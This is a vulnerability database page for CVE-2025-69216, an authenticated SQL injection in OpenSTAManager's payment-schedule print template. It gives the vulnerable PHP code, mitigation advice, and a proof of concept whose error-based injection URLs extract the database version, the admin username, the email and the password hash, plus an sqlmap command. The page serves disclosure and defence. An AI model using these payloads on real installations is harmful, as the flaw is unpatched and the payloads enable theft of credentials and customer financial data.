CVE-2025-69216 — openstamanager
CVE-2025-69216 is a SQL Injection vulnerability in devcode-it/openstamanager. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
OpenSTAManager has an SQL Injection in Scadenzario Print Template
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-69216.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
devcode-it/openstamanagerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated SQL Injection vulnerability in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.
Details
The vulnerability exists in templates/scadenzario/init.php at line 46, where the id_anagrafica parameter is directly concatenated into an SQL query without proper sanitization:
Vulnerable Code:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
The get() function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's prepare() sanitization function, enabling SQL Injection attacks.
Root Cause:
- Missing use of
prepare()function for input sanitization - Direct string concatenation in SQL query construction
- No input validation or type checking
Affected Endpoint:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
Affected Files:
templates/scadenzario/init.php(line 46) - Primary vulnerabilitytemplates/scadenzario/init.php(lines 34, 40) - Similar pattern with date parameterspdfgen.php- Entry point for template rendering
PoC (Proof of Concept)
Prerequisites
- Valid authenticated session (any user role)
Exploitation Steps
1. Confirm Vulnerability - Basic Syntax Error Test:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
SQL syntax error displayed in application response
<img width="2195" height="392" alt="image" src="https://github.com/user-attachments/assets/f62ca7b4-2397-4f90-8698-6cf7f867d102" />2. Extract Database Version - Error-Based SQLi:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Result: ~8.3.0~ (MySQL version)
3. Extract Database Name:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Result: ~openstamanager~
4. Extract Admin Username:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: ~admin~
<img width="1998" height="332" alt="image" src="https://github.com/user-attachments/assets/9f8363cb-8da9-4e8f-8744-ef38c9706be8" />
5. Extract Admin Email:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: Admin email address
<img width="2006" height="339" alt="image" src="https://github.com/user-attachments/assets/4dcd5ea4-4eea-4730-8d39-b8ce2da46e84" />6. Extract Password Hash (Partial - XPATH 31 char limit):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: bcrypt password hash
<img width="1924" height="328" alt="image" src="https://github.com/user-attachments/assets/27b711f3-9bb6-4909-a5bd-a04177c9f219" />7. Automated Exploitation with SQLMap:
Create request file sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Run SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap Confirmed Injection Types:
- ✅ Boolean-based blind SQL injection
- ✅ Error-based SQL injection (MySQL >= 5.6 GTID_SUBSET)
- ✅ Time-based blind SQL injection (SLEEP)
Impact
Who is Impacted:
- ✅ All authenticated users - Any user with valid credentials can exploit this vulnerability
- ✅ Low-privilege users - Even users with minimal permissions can access admin-level data
- ✅ All OpenSTAManager installations - Vulnerability exists in the latest master branch
Attribution
Reported by Łukasz Rybak
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | devcode-it/openstamanager | all versions | No fix |
Affected Products
openstamanagerdevcodeDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of devcode-it/openstamanager for CVE-2025-69216. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is CVE-2025-69216 in your dependencies?
Find it across Packagist, including transitive dependencies.